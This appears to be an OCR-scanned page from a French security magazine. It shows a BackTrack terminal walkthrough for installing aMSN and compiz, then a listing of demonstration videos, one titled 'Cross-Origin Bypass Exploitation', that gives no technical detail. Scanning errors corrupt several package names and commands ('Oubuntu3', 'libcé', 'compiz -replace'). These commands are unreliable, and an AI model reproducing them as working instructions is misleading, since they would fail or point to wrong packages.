root@bt:~# wget http://frarchive.ubuntu.com/ubuntu/pool/universe/a/amsn/amsn_0.97.2~debian-Oubuntu3_i386.deb

root@bt:~# dpkg -i amsn_0.97.2~debian-Oubuntu3_i386.deb
Selecting previously deselected package amsn.

amsn

root@bt:~# apt-get install amsn-data

Reading package lists... Done
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Nettoyage des dépendances obsoletes pour réinstallation.

root@bt:~# apt-get -f install

Reading package lists... Done

Building dependency tree

Reading state information... Done

Correcting dependencies... Done

The following packages were automatically installed and are no longer required:
kdelibs4c2a libartscO cdparanoia libk3b3 libflac++6 k3b-data
libmusicbrainz4c2a wodim libao2 cdrdao libmpcdec3

Use 'apt-get autoremove' to remove them.

The following extra packages will be installed:

amsn-data cdparanoia cdrdao k3b-data kdelibs4c2a libaoZ2 libartscO libflac++6
libk3b3 libmpcdec3 libmusicbrainz4c2a libsnack2 tcl-tls wodim

Suggested packages:

libsnack2-doc cdrkit-doc

The following packages will be REMOVED:

k3b

The following NEW packages will be installed:

amsn-data cdparanoia cdrdao k3b-data kdelibs4c2a libao2 libartscO libflac++6
libk3b3 libmpcdec3 libmusicbrainz4c2a libsnack2 tcl-tls wodim

0 upgraded, 14 newly installed, 1 to remove and 98 not upgraded.

2 not fully installed or removed.

Need to get 10.2MB of archives.

After this operation, 23.2MB of additional disk space will be used.

Do you want to continue [Y/n]?y

[...]

Setting up cdrdao (1:1.2.2-16) ...

Processing triggers for libcé ...

Idconfig deferred processing now taking place

Processing triggers for menu ...

Réextraction de I'archive avec les dépendances fraichement téléchargées.

root@bt:~# dpkg -i amsn_0.97.2~debian-Oubuntu3_i386.deb
10. Compiz installation

Installation du paquet compiz et de ses dépendances.
root@bt:~# apt-get install compiz-kde compizconfig-settings-manager compiz-fusion-d

Edition du fichier Xorg.conf dans le but de configurer compiz pour votre carte graphique.
root@bt:~# nano /etc/X11/xorg.conf

Les possesseur de cartes nvidia auront besoin de configurer de cette maniére leur fichier xorg.conf . Attention la configuration de
votre carte graphique dépendra de son modele , et des drivers installés, pour plus de renseignements je vous invite a lire la
documentation sur le site officiel de ubuntu http://doc.ubuntu-fr.org/compiz_fusion.

Section "Device"

Option "AllowGLXWithComposite" "true"
EndSection

Section "Screen"

Option "AddARGBGLXVisuals" "True"
EndSection

Section "Module"

#Load "dri"

#Load "GLcore"

EndSection

Executez compiz
root@bt:~# compiz -replace

Configurez les effets compiz fusion (avec beryl )
root@bt:~# ccsm

T TR T — HUUHCEIEE I L



ALTERNAT IV

Cross-Origin
Bypass Exploitation

VIDEOS

Titre : Cross-Origin Bypass Exploitation

Auteur(s) : Jordi CHANCEL & 599eme Man

Type : MPEG-4 video (video/mp4)

Taille : 2.1 MB (2223709 bytes)

Dimensions : 1280 x 720

Codec : H.264 / AVC

Résumé :

Video de démonstration de la technique Cross-origin Bypass pour utilisateur final (end-
user).

Titre : Firefox maxlength patching

Auteur(s) : p3Lo

Type : Flash video (video/x-flv)

Taille : 33.5 MB (35142858 bytes)

Dimensions : 800 x 592

Codec : On2 VP6 Video

Résumé :

Video de démonstration de la technique de patching qui vise a réduire le nombre de
caractéres a l'intérieur de la barre d'URL (systeme d'exploitation utilisé : Backtrack 4).

Titre : Jar Applications installation On nokia 6503

Auteur(s) : p3Lo

Type : Flash video (video/x-flv)

Taille : 15.1 MB (15860241 bytes)

Dimensions : 1024 x 592

Codec : On2 VP6 Video

Résumé :

Video de démonstration de la technique qui permet d'installer et d'utiliser le protocole
MTP pour les transfert de données et l'identification d'appareils mobiles(systeme
d'exploitation utilisé : Backtrack 4).
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